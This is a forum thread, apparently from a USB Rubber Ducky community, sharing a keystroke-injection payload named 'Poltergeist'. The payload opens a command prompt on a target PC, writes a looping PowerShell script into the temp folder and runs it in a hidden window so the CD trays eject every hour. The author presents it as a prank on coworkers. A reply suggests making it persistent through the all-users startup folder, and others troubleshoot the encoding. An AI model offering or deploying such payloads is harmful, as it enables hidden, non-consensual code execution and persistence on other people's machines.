theGANOUSH Posted February 19, 2014 Posted February 19, 2014 placeholder This payload will automatically eject all the CD trays to the target system at the beginning of every hour. The way I go about this is to create a powershell script from command line and then execute to as a background process with the "powershell -windowstyle hidden" command. I can see a lot of potential in having this run at startup, but I had a wave of mercy when I wrote the script. Enjoy REM Name: Poltergeist REM Author: theGANOUSH REM Purpose: To mess with my coworkers by forcing their CD drives to open at the start of every hour. REM The PowerShell code was found and modified from: http://powershell.com/cs/blogs/tips/archive/2009/04/24/ejecting-cds.aspx REM Open Command Prompt & Navigate to %temp% DELAY 5000 DELAY 10000 GUI r DELAY 300 STRING cmd.exe ENTER DELAY 300 STRING CD %temp% ENTER REM Create PowerShell Script STRING copy con Poltergeist.ps1 ENTER STRING Do ENTER STRING { ENTER STRING $minute = Get-Date -UFormat "%M" ENTER STRING If($minute -eq "00") ENTER STRING { ENTER STRING $Drives = Get-WmiObject Win32_Volume -Filter "DriveType=5" | select -exp DriveLetter ENTER STRING foreach($Drive in $Drives) ENTER STRING { ENTER STRING Invoke-Command -ScriptBlock { ENTER STRING param($Drive) ENTER STRING $Drive ENTER STRING $sa = New-Object -comObject Shell.Application ENTER STRING $sa.Namespace(17).parseName($Drive) ENTER STRING $sa.Namespace(17).ParseName("$Drive").InvokeVerb("Eject") ENTER STRING } -ArgumentList $Drive ENTER STRING } ENTER STRING } STRING Start-Sleep -s 60 ENTER STRING } ENTER STRING until(1 -gt 5) ENTER CONTROL z ENTER REM and execute for effect... STRING powershell -windowstyle hidden -file .\Poltergeist.ps1 ENTER Quote
MB60893 Posted February 20, 2014 Posted February 20, 2014 Nice Script! You could even go a step further and make it so that the script is stored in the all users startup folder for the PC. That would mean that every time a PC user logged on, the script would execute at startup! Quote
barry99705 Posted February 25, 2014 Posted February 25, 2014 Doesn't seem to work on my pc. Maybe because I have more than one optical drive? Quote
}{3xcmd Posted February 27, 2014 Posted February 27, 2014 I am having a hard time with Notepad and saving to Bin file? if i use the online it kinda works, what am I missing. notepad does bin conversions right>? Quote
theGANOUSH Posted February 27, 2014 Author Posted February 27, 2014 (edited) Doesn't seem to work on my pc. Maybe because I have more than one optical drive? I tested this on a ASUS Windows 8.1 laptop and a Dell Optiplex with two disk drives. When it ran on the Optiplex it would eject both. Are your optical drives external? Also, I would adjust the if condition to something that would occur more often then at the start of every hour to troubleshoot. If you adjust the Start-Sleep -s 60 to something less than 60, it will check the time more often and possibly catch the correct run time. I am having a hard time with Notepad and saving to Bin file? if i use the online it kinda works, what am I missing. notepad does bin conversions right>?I use the Duckencode.jar to generate the bin file. Edited February 27, 2014 by theGANOUSH Quote
hirens_whyfi Posted March 1, 2014 Posted March 1, 2014 I am having a hard time with Notepad and saving to Bin file? if i use the online it kinda works, what am I missing. notepad does bin conversions right Hey seems like you have an issue here, i ran into the same problem i figured it all out at live.com Quote
MB60893 Posted March 2, 2014 Posted March 2, 2014 You might just need to revise the script so that it ejects ALL of the drives. There is a way to check what sort of removable media a computer has, if it contains DVD, CD or BD (Blu Ray Disk) you are all good, else forget the drives which are flash storage or required hard drives etc. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.